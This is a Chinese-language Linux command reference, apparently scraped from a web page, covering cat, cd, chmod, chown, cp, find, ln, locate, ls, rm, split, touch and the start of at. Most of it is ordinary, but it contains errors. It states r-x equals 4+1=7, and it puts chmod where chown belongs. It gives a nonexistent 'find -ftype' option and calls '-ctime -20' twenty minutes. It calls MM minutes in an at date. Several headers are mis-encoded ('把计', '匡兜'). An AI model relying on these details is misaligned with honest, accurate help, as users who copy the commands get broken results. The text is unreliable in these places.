<p style="TEXT-INDENT: 2em">cat -b textfile1 textfile2 &gt;&gt; textfile3 把 textfile1 和 textfile2 的档案内容加上行号（空白行不加）之后将内容附加到 textfile3 </p>
<p style="TEXT-INDENT: 2em">名称 : cd </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : cd [dirName] </p>
<p style="TEXT-INDENT: 2em">说明 : 变换工作目录至 dirName。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略，则变换至使用者的 home directory (也就是刚 login 时所在的目录)。 </p>
<p style="TEXT-INDENT: 2em">另外，&quot;~&quot; 也表示为 home directory 的意思，&quot;.&quot; 则是表示目前所在的目录，&quot;..&quot; 则表示目前目录位置的上一层目录。 </p>
<p style="TEXT-INDENT: 2em">范例 : 跳到 /usr/bin/ : </p>
<p style="TEXT-INDENT: 2em">cd /usr/bin </p>
<p style="TEXT-INDENT: 2em">跳到自己的 home directory : </p>
<p style="TEXT-INDENT: 2em">cd ~ </p>
<p style="TEXT-INDENT: 2em">跳到目前目录的上上两层 : </p>
<p style="TEXT-INDENT: 2em">cd ../.. </p>
<p style="TEXT-INDENT: 2em">指令名称 : chmod </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : chmod [-cfvR] [--help] [--version] mode file... </p>
<p style="TEXT-INDENT: 2em">说明 : Linux/Unix 的档案存取权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所存取。 </p>
<p style="TEXT-INDENT: 2em">把计 : </p>
<p style="TEXT-INDENT: 2em">mode : 权限设定字串，格式如下 : [ugoa...][[+-=][rwxX]...][,...]，其中u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。 </p>
<p style="TEXT-INDENT: 2em">+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。 </p>
<p style="TEXT-INDENT: 2em">r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 </p>
<p style="TEXT-INDENT: 2em">-c : 若该档案权限确实已经更改，才显示其更改动作 </p>
<p style="TEXT-INDENT: 2em">-f : 若该档案权限无法被更改也不要显示错误讯息 </p>
<p style="TEXT-INDENT: 2em">-v : 显示权限变更的详细资料 </p>
<p style="TEXT-INDENT: 2em">-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更) </p>
<p style="TEXT-INDENT: 2em">--help : 显示辅助说明 </p>
<p style="TEXT-INDENT: 2em">--version : 显示版本 </p>
<p style="TEXT-INDENT: 2em">范例 :将档案 file1.txt 设为所有人皆可读取 : </p>
<p style="TEXT-INDENT: 2em">chmod ugo+r file1.txt </p>
<p style="TEXT-INDENT: 2em">将档案 file1.txt 设为所有人皆可读取 : </p>
<p style="TEXT-INDENT: 2em">chmod a+r file1.txt </p>
<p style="TEXT-INDENT: 2em">将档案 file1.txt 与 file2.txt 设为该档案拥有者，与其所属同一个群体者可写入，但其他以外的人则不可写入 : </p>
<p style="TEXT-INDENT: 2em">chmod ug+w,o-w file1.txt file2.txt </p>
<p style="TEXT-INDENT: 2em">将 ex1.py 设定为只有该档案拥有者可以执行 : </p>
<p style="TEXT-INDENT: 2em">chmod u+x ex1.py </p>
<p style="TEXT-INDENT: 2em">将目前目录下的所有档案与子目录皆设为任何人可读取 : </p>
<p style="TEXT-INDENT: 2em">chmod -R a+r * </p>
<p style="TEXT-INDENT: 2em">此外chmod也可以用数字来表示权限如 chmod 777 file </p>
<p style="TEXT-INDENT: 2em">语法为：chmod abc file </p>
<p style="TEXT-INDENT: 2em">其中a,b,c各为一个数字，分别表示User、Group、及Other的权限。 </p>
<p style="TEXT-INDENT: 2em">r=4，w=2，x=1 </p>
<p style="TEXT-INDENT: 2em">若要rwx属性则4+2+1=7； </p>
<p style="TEXT-INDENT: 2em">若要rw-属性则4+2=6； </p>
<p style="TEXT-INDENT: 2em">若要r-x属性则4+1=7。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">chmod a=rwx file </p>
<p style="TEXT-INDENT: 2em">和 </p>
<p style="TEXT-INDENT: 2em">chmod 777 file </p>
<p style="TEXT-INDENT: 2em">效果相同 </p>
<p style="TEXT-INDENT: 2em">chmod ug=rwx,o=x file </p>
<p style="TEXT-INDENT: 2em">和 </p>
<p style="TEXT-INDENT: 2em">chmod 771 file </p>
<p style="TEXT-INDENT: 2em">效果相同 </p>
<p style="TEXT-INDENT: 2em">若用chmod 4755 filename可使此程式具有root的权限 </p>
<p style="TEXT-INDENT: 2em">指令名称 : chown </p>
<p style="TEXT-INDENT: 2em">使用权限 : root </p>
<p style="TEXT-INDENT: 2em">使用方式 : chmod [-cfhvR] [--help] [--version] user[:group] file... </p>
<p style="TEXT-INDENT: 2em">说明 : Linux/Unix 是多人多工作业系统，所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说，这个指令只有是由系统管理者(root)所使用，一般使用者没有权限可以改变别人的档案拥有者，也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限。 </p>
<p style="TEXT-INDENT: 2em">把计 : </p>
<p style="TEXT-INDENT: 2em">user : 新的档案拥有者的使用者 IDgroup : 新的档案拥有者的使用者群体(group)-c : 若该档案拥有者确实已经更改，才显示其更改动作-f : 若该档案拥有者无法被更改也不要显示错误讯息-h : 只对于连结(link)进行变更，而非该 link 真正指向的档案-v : 显示拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更)--help : 显示辅助说明--version : 显示版本 </p>
<p style="TEXT-INDENT: 2em">范例 : </p>
<p style="TEXT-INDENT: 2em">将档案 file1.txt 的拥有者设为 users 群体的使用者 jessie : </p>
<p style="TEXT-INDENT: 2em">chown jessie:users file1.txt </p>
<p style="TEXT-INDENT: 2em">将目前目录下的所有档案与子目录的拥有者皆设为 users 群体的使用者 lamport : </p>
<p style="TEXT-INDENT: 2em">chmod -R lamport:users * </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">名称：cp </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">cp [options] source dest </p>
<p style="TEXT-INDENT: 2em">cp [options] source... directory </p>
<p style="TEXT-INDENT: 2em">说明：将一个档案拷贝至另一档案，或将数个档案拷贝至另一目录。 </p>
<p style="TEXT-INDENT: 2em">把计 </p>
<p style="TEXT-INDENT: 2em">-a 尽可能将档案状态、权限等资料都照原状予以复制。 </p>
<p style="TEXT-INDENT: 2em">-r 若 source 中含有目录名，则将目录下之档案亦皆依序拷贝至目的地。 </p>
<p style="TEXT-INDENT: 2em">-f 若目的地已经有相同档名的档案存在，则在复制前先予以删除再行复制。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">将档案 aaa 复制(已存在)，并命名为 bbb : </p>
<p style="TEXT-INDENT: 2em">cp aaa bbb </p>
<p style="TEXT-INDENT: 2em">将所有的C语言程式拷贝至 Finished 子目录中 : </p>
<p style="TEXT-INDENT: 2em">cp *.c Finished </p>
<p style="TEXT-INDENT: 2em">名称：cut </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">用法：cut -cnum1-num2 filename </p>
<p style="TEXT-INDENT: 2em">说明：显示每行从开头算起 num1 到 num2 的文字。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">shell&gt;&gt; cat example </p>
<p style="TEXT-INDENT: 2em">test2 </p>
<p style="TEXT-INDENT: 2em">this is test1 </p>
<p style="TEXT-INDENT: 2em">shell&gt;&gt; cut -c0-6 example ## print 开头算起前 6 个字元 </p>
<p style="TEXT-INDENT: 2em">test2 </p>
<p style="TEXT-INDENT: 2em">this i </p>
<p style="TEXT-INDENT: 2em">名称 : find </p>
<p style="TEXT-INDENT: 2em">用法 : find </p>
<p style="TEXT-INDENT: 2em">使用说明 : </p>
<p style="TEXT-INDENT: 2em">将档案系统内符合 expression 的档案列出来。你可以指要档案的名称、类别、时间、大小、权限等不同资讯的组合，只有完全相符的才会被列出来。 </p>
<p style="TEXT-INDENT: 2em">find 根据下列规则判断 path 和 expression，在命令列上第一个 - ( ) , ! 之前的部份为 path，之后的是 expression。如果 path 是空字串则使用目前路径，如果 expression 是空字串则使用 -print 为预设 expression </p>
<p style="TEXT-INDENT: 2em">expression 中可使用的选项有二三十个之多，在此只介绍最常用的部份。 </p>
<p style="TEXT-INDENT: 2em">-mount, -xdev : 只检查和指定目录在同一个档案系统下的档案，避免列出其它档案系统中的档案 </p>
<p style="TEXT-INDENT: 2em">-amin n : 在过去 n 分钟内被读取过 </p>
<p style="TEXT-INDENT: 2em">-anewer file : 比档案 file 更晚被读取过的档案 </p>
<p style="TEXT-INDENT: 2em">-atime n : 在过去 n 天过读取过的档案 </p>
<p style="TEXT-INDENT: 2em">-cmin n : 在过去 n 分钟内被修改过 </p>
<p style="TEXT-INDENT: 2em">-cnewer file :比档案 file 更新的档案 </p>
<p style="TEXT-INDENT: 2em">-ctime n : 在过去 n 天过修改过的档案 </p>
<p style="TEXT-INDENT: 2em">-empty : 空的档案-gid n or -group name : gid 是 n 或是 group 名称是 name </p>
<p style="TEXT-INDENT: 2em">-ipath p, -path p : 路径名称符合 p 的档案，ipath 会忽略大小写 </p>
<p style="TEXT-INDENT: 2em">-name name, -iname name : 档案名称符合 name 的档案。iname 会忽略大小写 </p>
<p style="TEXT-INDENT: 2em">-size n : 档案大小 是 n 单位，b 代表 512 位元组的区块，c 表示字元数，k 表示 kilo bytes，w 是二个位元组。-type c : 档案类型是 c 的档案。 </p>
<p style="TEXT-INDENT: 2em">d: 目录 </p>
<p style="TEXT-INDENT: 2em">c: 字型装置档案 </p>
<p style="TEXT-INDENT: 2em">b: 区块装置档案 </p>
<p style="TEXT-INDENT: 2em">p: 具名贮列 </p>
<p style="TEXT-INDENT: 2em">f: 一般档案 </p>
<p style="TEXT-INDENT: 2em">l: 符号连结 </p>
<p style="TEXT-INDENT: 2em">s: socket </p>
<p style="TEXT-INDENT: 2em">-pid n : process id 是 n 的档案 </p>
<p style="TEXT-INDENT: 2em">你可以使用 ( ) 将运算式分隔，并使用下列运算。 </p>
<p style="TEXT-INDENT: 2em">exp1 -and exp2 </p>
<p style="TEXT-INDENT: 2em">! expr </p>
<p style="TEXT-INDENT: 2em">-not expr </p>
<p style="TEXT-INDENT: 2em">exp1 -or exp2 </p>
<p style="TEXT-INDENT: 2em">exp1, exp2 </p>
<p style="TEXT-INDENT: 2em">范例: </p>
<p style="TEXT-INDENT: 2em">将目前目录及其子目录下所有延伸档名是 c 的档案列出来。 </p>
<p style="TEXT-INDENT: 2em"># find . -name &quot;*.c&quot; </p>
<p style="TEXT-INDENT: 2em">将目前目录其其下子目录中所有一般档案列出 </p>
<p style="TEXT-INDENT: 2em"># find . -ftype f </p>
<p style="TEXT-INDENT: 2em">将目前目录及其子目录下所有最近 20 分钟内更新过的档案列出 </p>
<p style="TEXT-INDENT: 2em"># find . -ctime -20 </p>
<p style="TEXT-INDENT: 2em">名称：less </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">less [Option] filename </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">less 的作用与 more 十分相似，都可以用来浏览文字档案的内容，不同的是 less 允许使用者往回卷动 </p>
<p style="TEXT-INDENT: 2em">以浏览已经看过的部份，同时因为 less 并未在一开始就读入整个档案，因此在遇上大型档案的开启时，会比一般的文书编辑器(如 vi)来的快速。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">指令名称 : ln </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : ln [options] source dist，其中 option 的格式为 : </p>
<p style="TEXT-INDENT: 2em">[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}] </p>
<p style="TEXT-INDENT: 2em">[--help] [--version] [--] </p>
<p style="TEXT-INDENT: 2em">说明 : Linux/Unix 档案系统中，有所谓的连结(link)，我们可以将其视为档案的别名，而连结又可分为两种 : 硬连结(hard link)与软连结(symbolic link)，硬连结的意思是一个档案可以有多个名称，而软连结的方式则是产生一个特殊的档案，该档案的内容是指向另一个档案的位置。硬连结是存在同一个档案系统中，而软连结却可以跨越不同的档案系统。 </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">ln source dist 是产生一个连结(dist)到 source，至于使用硬连结或软链结则由参数决定。 </p>
<p style="TEXT-INDENT: 2em">不论是硬连结或软链结都不会将原本的档案复制一份，只会占用非常少量的磁碟空间。 </p>
<p style="TEXT-INDENT: 2em">-f : 链结时先将与 dist 同档名的档案删除-d : 允许系统管理者硬链结自己的目录-i : 在删除与 dist 同档名的档案时先进行询问-n : 在进行软连结时，将 dist 视为一般的档案-s : 进行软链结(symbolic link)-v : 在连结之前显示其档名-b : 将在链结时会被覆写或删除的档案进行备份-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾-V METHOD : 指定备份的方式--help : 显示辅助说明--version : 显示版本 </p>
<p style="TEXT-INDENT: 2em">范例 : </p>
<p style="TEXT-INDENT: 2em">将档案 yy 产生一个 symbolic link : zz </p>
<p style="TEXT-INDENT: 2em">ln -s yy zz </p>
<p style="TEXT-INDENT: 2em">将档案 yy 产生一个 hard link : zz </p>
<p style="TEXT-INDENT: 2em">ln yy xx </p>
<p style="TEXT-INDENT: 2em">名称：locate </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： locate [-q] [-d ] [--database=] </p>
<p style="TEXT-INDENT: 2em">locate [-r ] [--regexp=] </p>
<p style="TEXT-INDENT: 2em">locate [-qv] [-o ] [--output=] </p>
<p style="TEXT-INDENT: 2em">locate [-e ] [-f ] &lt;[-l ] [-c] </p>
<p style="TEXT-INDENT: 2em">&lt;[-U ] [-u]&gt; </p>
<p style="TEXT-INDENT: 2em">locate [-Vh] [--version] [--help] </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的资料库，之后当寻找时就只需查询这个资料库，而不必实际深入档案系统之中了。 </p>
<p style="TEXT-INDENT: 2em">在一般的 distribution 之中，资料库的建立都被放在 contab 中自动执行。一般使用者在使用时只要用 </p>
<p style="TEXT-INDENT: 2em"># locate your_file_name </p>
<p style="TEXT-INDENT: 2em">的型式就可以了。 参数： </p>
<p style="TEXT-INDENT: 2em">-u </p>
<p style="TEXT-INDENT: 2em">-U </p>
<p style="TEXT-INDENT: 2em">建立资料库，-u 会由根目录开始，-U 则可以指定开始的位置。 </p>
<p style="TEXT-INDENT: 2em">-e </p>
<p style="TEXT-INDENT: 2em">将 </p>
<p style="TEXT-INDENT: 2em">排除在寻找的范围之外。 </p>
<p style="TEXT-INDENT: 2em">-l </p>
<p style="TEXT-INDENT: 2em">如果 是 1．则启动安全模式。在安全模式下，使用者不会看到权限无法看到的档案。这会始速度减慢，因为 locate 必须至实际的档案系统中取得档案的权限资料。 </p>
<p style="TEXT-INDENT: 2em">-f </p>
<p style="TEXT-INDENT: 2em">将特定的档案系统排除在外，例如我们没有到理要把 proc 档案系统中的档案放在资料库中。 </p>
<p style="TEXT-INDENT: 2em">-q </p>
<p style="TEXT-INDENT: 2em">安静模式，不会显示任何错误讯息。 </p>
<p style="TEXT-INDENT: 2em">-n </p>
<p style="TEXT-INDENT: 2em">至多显示 个输出。 </p>
<p style="TEXT-INDENT: 2em">-r </p>
<p style="TEXT-INDENT: 2em">使用正规运算式 做寻找的条件。 </p>
<p style="TEXT-INDENT: 2em">-o </p>
<p style="TEXT-INDENT: 2em">指定资料库存的名称。 </p>
<p style="TEXT-INDENT: 2em">-d </p>
<p style="TEXT-INDENT: 2em">指定资料库的路径 </p>
<p style="TEXT-INDENT: 2em">-h </p>
<p style="TEXT-INDENT: 2em">显示辅助讯息 </p>
<p style="TEXT-INDENT: 2em">-v </p>
<p style="TEXT-INDENT: 2em">显示更多的讯息 </p>
<p style="TEXT-INDENT: 2em">-V </p>
<p style="TEXT-INDENT: 2em">显示程式的版本讯息 范例： </p>
<p style="TEXT-INDENT: 2em">locate chdrv : 寻找所有叫 chdrv 的档案 </p>
<p style="TEXT-INDENT: 2em">locate -n 100 a.out : 寻找所有叫 a.out 的档案，但最多只显示 100 个 </p>
<p style="TEXT-INDENT: 2em">locate -u : 建立资料库 </p>
<p style="TEXT-INDENT: 2em">名称 : ls </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : ls [-alrtAFR] [name...] </p>
<p style="TEXT-INDENT: 2em">说明 : 显示指定工作目录下之内容（列出目前工作目录所含之档案及子目录)。 </p>
<p style="TEXT-INDENT: 2em">-a 显示所有档案及目录 (ls内定将档案名或目录名称开头为&quot;.&quot;的视为隐藏档，不会列出) </p>
<p style="TEXT-INDENT: 2em">-l 除档案名称外，亦将档案型态、权限、拥有者、档案大小等资讯详细列出 </p>
<p style="TEXT-INDENT: 2em">-r 将档案以相反次序显示(原定依英文字母次序) </p>
<p style="TEXT-INDENT: 2em">-t 将档案依建立时间之先后次序列出 </p>
<p style="TEXT-INDENT: 2em">-A 同 -a ，但不列出 &quot;.&quot; (目前目录) 及 &quot;..&quot; (父目录) </p>
<p style="TEXT-INDENT: 2em">-F 在列出的档案名称后加一符号；例如可执行档则加 &quot;*&quot;, 目录则加 &quot;/&quot; </p>
<p style="TEXT-INDENT: 2em">-R 若目录下有档案，则以下之档案亦皆依序列出 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">列出目前工作目录下所有名称是 s 开头的档案，愈新的排愈后面 : </p>
<p style="TEXT-INDENT: 2em">ls -ltr s* </p>
<p style="TEXT-INDENT: 2em">将 /bin 目录以下所有目录及档案详细资料列出 : </p>
<p style="TEXT-INDENT: 2em">ls -lR /bin </p>
<p style="TEXT-INDENT: 2em">列出目前工作目录下所有档案及目录；目录于名称后加 &quot;/&quot;, 可执行档于名称后加 &quot;*&quot; : </p>
<p style="TEXT-INDENT: 2em">ls -AF </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">名称：more </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..] </p>
<p style="TEXT-INDENT: 2em">说明：类似 cat ，不过会以一页一页的显示方便使用者逐页阅读，而最基本的指令就是按空白键（space）就往下一页显示，按 b 键就会往回（back）一页显示，而且还有搜寻字串的功能（与 vi 相似），使用中的说明文件，请按 h 。 </p>
<p style="TEXT-INDENT: 2em">参数：-num 一次显示的行数 </p>
<p style="TEXT-INDENT: 2em">-d 提示使用者，在画面下方显示 [Press space to continue, q to quit.] ，如果使用者按错键，则会显示 [Press h for instructions.] 而不是 哔 声 </p>
<p style="TEXT-INDENT: 2em">-l 取消遇见特殊字元 ^L（送纸字元）时会暂停的功能 </p>
<p style="TEXT-INDENT: 2em">-f 计算行数时，以实际上的行数，而非自动换行过后的行数（有些单行字数太长的会被扩展为两行或两行以上） </p>
<p style="TEXT-INDENT: 2em">-p 不以卷动的方式显示每一页，而是先清除萤幕后再显示内容 </p>
<p style="TEXT-INDENT: 2em">-c 跟 -p 相似，不同的是先显示内容再清除其他旧资料 </p>
<p style="TEXT-INDENT: 2em">-s 当遇到有连续两行以上的空白行，就代换为一行的空白行 </p>
<p style="TEXT-INDENT: 2em">-u 不显示下引号 （根据环境变数 TERM 指定的 terminal 而有所不同） </p>
<p style="TEXT-INDENT: 2em">+/ 在每个档案显示前搜寻该字串（pattern），然后从该字串之后开始显示 </p>
<p style="TEXT-INDENT: 2em">+num 从第 num 行开始显示 </p>
<p style="TEXT-INDENT: 2em">fileNames 欲显示内容的档案，可为复数个数 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">more -s testfile 逐页显示 testfile 之档案内容，如有连续两行以上空白行则以一行空白行显示。 </p>
<p style="TEXT-INDENT: 2em">more +20 testfile 从第 20 行开始显示 testfile 之档案内容。 </p>
<p style="TEXT-INDENT: 2em">名称：mv </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">mv [options] source dest </p>
<p style="TEXT-INDENT: 2em">mv [options] source... directory </p>
<p style="TEXT-INDENT: 2em">说明：将一个档案移至另一档案，或将数个档案移至另一目录。 </p>
<p style="TEXT-INDENT: 2em">参数：-i 若目的地已有同名档案，则先询问是否覆盖旧档。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">将档案 aaa 更名为 bbb : </p>
<p style="TEXT-INDENT: 2em">mv aaa bbb </p>
<p style="TEXT-INDENT: 2em">将所有的C语言程式移至 Finished 子目录中 : </p>
<p style="TEXT-INDENT: 2em">mv -i *.c </p>
<p style="TEXT-INDENT: 2em">名称：rm </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：rm [options] name... </p>
<p style="TEXT-INDENT: 2em">说明：删除档案及目录。 </p>
<p style="TEXT-INDENT: 2em">把计 </p>
<p style="TEXT-INDENT: 2em">-i 删除前逐一询问确认。 </p>
<p style="TEXT-INDENT: 2em">-f 即使原档案属性设为唯读，亦直接删除，无需逐一确认。 </p>
<p style="TEXT-INDENT: 2em">-r 将目录及以下之档案亦逐一删除。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">删除所有C语言程式档；删除前逐一询问确认 : </p>
<p style="TEXT-INDENT: 2em">rm -i *.c </p>
<p style="TEXT-INDENT: 2em">将 Finished 子目录及子目录中所有档案删除 : </p>
<p style="TEXT-INDENT: 2em">rm -r Finished </p>
<p style="TEXT-INDENT: 2em">名称：rmdir </p>
<p style="TEXT-INDENT: 2em">使用权限：于目前目录有适当权限的所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： rmdir [-p] dirName </p>
<p style="TEXT-INDENT: 2em">说明： 删除空的目录。 </p>
<p style="TEXT-INDENT: 2em">参数： -p 是当子目录被删除后使它也成为空目录的话，则顺便一并删除。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">将工作目录下，名为 AAA 的子目录删除 : </p>
<p style="TEXT-INDENT: 2em">rmdir AAA </p>
<p style="TEXT-INDENT: 2em">在工作目录下的 BBB 目录中，删除名为 Test 的子目录。若 Test 删除后，BBB 目录成为空目录，则 BBB 亦予删除。 </p>
<p style="TEXT-INDENT: 2em">rmdir -p BBB/Test </p>
<p style="TEXT-INDENT: 2em">名称：split </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：split [OPTION] [INPUT [PREFIX]] </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">将一个档案分割成数个。而从 INPUT 分割输出成固定大小的档案，其档名依序为 PREFIXaa, PREFIXab...；PREFIX 预设值为 `x。若没有 INPUT 档或为 `-，则从标准输入读进资料。 </p>
<p style="TEXT-INDENT: 2em">匡兜 </p>
<p style="TEXT-INDENT: 2em">-b, --bytes=SIZE </p>
<p style="TEXT-INDENT: 2em">SIZE 值为每一输出档案的大小，单位为 byte。 </p>
<p style="TEXT-INDENT: 2em">-C, --line-bytes=SIZE </p>
<p style="TEXT-INDENT: 2em">每一输出档中，单行的最大 byte 数。 </p>
<p style="TEXT-INDENT: 2em">-l, --lines=NUMBER </p>
<p style="TEXT-INDENT: 2em">NUMBER 值为每一输出档的列数大小。 </p>
<p style="TEXT-INDENT: 2em">-NUMBER </p>
<p style="TEXT-INDENT: 2em">与 -l NUMBER 相同。 </p>
<p style="TEXT-INDENT: 2em">--verbose </p>
<p style="TEXT-INDENT: 2em">于每个输出档被开启前，列印出侦错资讯到标准错误输出。 </p>
<p style="TEXT-INDENT: 2em">--help </p>
<p style="TEXT-INDENT: 2em">显示辅助资讯然后离开。 </p>
<p style="TEXT-INDENT: 2em">--version </p>
<p style="TEXT-INDENT: 2em">列出版本资讯然后离开。 </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">SIZE 可加入单位: b 代表 512， k 代表 1K， m 代表 1 Meg。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">PostgresSQL 大型资料库备份与回存： </p>
<p style="TEXT-INDENT: 2em">因 Postgres 允许表格大过你系统档案的最大容量，所以要将表格 dump 到单一的档案可能会有问题，使用 split进行档案分割。 </p>
<p style="TEXT-INDENT: 2em">% pg_dump dbname | split -b 1m - filename.dump. </p>
<p style="TEXT-INDENT: 2em">重新载入 </p>
<p style="TEXT-INDENT: 2em">% createdb dbname </p>
<p style="TEXT-INDENT: 2em">% cat filename.dump.* | pgsql dbname </p>
<p style="TEXT-INDENT: 2em">名称：touch </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">touch [-acfm] </p>
<p style="TEXT-INDENT: 2em">[-r reference-file] [--file=reference-file] </p>
<p style="TEXT-INDENT: 2em">[-t MMDDhhmm[[CC]YY][.ss]] </p>
<p style="TEXT-INDENT: 2em">[-d time] [--date=time] [--time={atime,access,use,mtime,modify}] </p>
<p style="TEXT-INDENT: 2em">[--no-create] [--help] [--version] </p>
<p style="TEXT-INDENT: 2em">file1 [file2 ...] </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">touch 指令改变档案的时间记录。 ls -l 可以显示档案的时间记录。 </p>
<p style="TEXT-INDENT: 2em">参数： </p>
<p style="TEXT-INDENT: 2em">a 改变档案的读取时间记录。 </p>
<p style="TEXT-INDENT: 2em">m 改变档案的修改时间记录。 </p>
<p style="TEXT-INDENT: 2em">c 假如目的档案不存在，不会建立新的档案。与 --no-create 的效果一样。 </p>
<p style="TEXT-INDENT: 2em">f 不使用，是为了与其他 unix 系统的相容性而保留。 </p>
<p style="TEXT-INDENT: 2em">r 使用参考档的时间记录，与 --file 的效果一样。 </p>
<p style="TEXT-INDENT: 2em">d 设定时间与日期，可以使用各种不同的格式。 </p>
<p style="TEXT-INDENT: 2em">t 设定档案的时间记录，格式与 date 指令相同。 </p>
<p style="TEXT-INDENT: 2em">--no-create 不会建立新档案。 </p>
<p style="TEXT-INDENT: 2em">--help 列出指令格式。 </p>
<p style="TEXT-INDENT: 2em">--version 列出版本讯息。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">最简单的使用方式，将档案的时候记录改为现在的时间。若档案不存在，系统会建立一个新的档案。 </p>
<p style="TEXT-INDENT: 2em">touch file </p>
<p style="TEXT-INDENT: 2em">touch file1 file2 </p>
<p style="TEXT-INDENT: 2em">将 file 的时间记录改为 5 月 6 日 18 点 3 分，公元两千年。时间的格式可以参考 date 指令，至少需输入 MMDDHHmm ，就是月日时与分。 </p>
<p style="TEXT-INDENT: 2em">touch -c -t 05061803 file </p>
<p style="TEXT-INDENT: 2em">touch -c -t 050618032000 file </p>
<p style="TEXT-INDENT: 2em">将 file 的时间记录改变成与 referencefile 一样。 </p>
<p style="TEXT-INDENT: 2em">touch -r referencefile file </p>
<p style="TEXT-INDENT: 2em">将 file 的时间记录改成 5 月 6 日 18 点 3 分，公元两千年。时间可以使用 am, pm 或是 24 小时的格式，日期可以使用其他格式如 6 May 2000 。 </p>
<p style="TEXT-INDENT: 2em">touch -d &quot;6:03pm&quot; file </p>
<p style="TEXT-INDENT: 2em">touch -d &quot;05/06/2000&quot; file </p>
<p style="TEXT-INDENT: 2em">touch -d &quot;6:03pm 05/06/2000&quot; file </p>
<p style="TEXT-INDENT: 2em">名称 : at </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : at -V [-q queue] [-f file] [-mldbv] TIME </p>
<p style="TEXT-INDENT: 2em">说明 : at 可以让使用者指定在 TIME 这个特定时刻执行某个程式或指令，TIME 的格式是 HH:MM其中的 HH 为小时，MM 为分钟，甚至你也可以指定 am, pm, midnight, noon, teatime(就是下午 4 点锺)等口语词。 </p>
<p style="TEXT-INDENT: 2em">如果想要指定超过一天内的时间，则可以用 MMDDYY 或者 MM/DD/YY 的格式，其中 MM 是分钟，DD 是第几日，YY 是指年份。另外，使用者甚至也可以使用像是 now + 时间间隔来弹性指定时间，其中的时间间隔可以是 minutes, hours, days, weeks </p>
<p style="TEXT-INDENT: 2em">另外，使用者也可指定 today 或 tomorrow 来表示今天或明天。当指定了时间并按下 enter 之后，at 会进入交谈模式并要求输入指令或程式，当你输入完后按下 ctrl+D 即可完成所有动作，至于执行的结果将会寄回你的帐号中。 </p>
<p style="TEXT-INDENT: 2em">把计 : </p>
<p style="TEXT-INDENT: 2em">-V : 印出版本编号 </p>
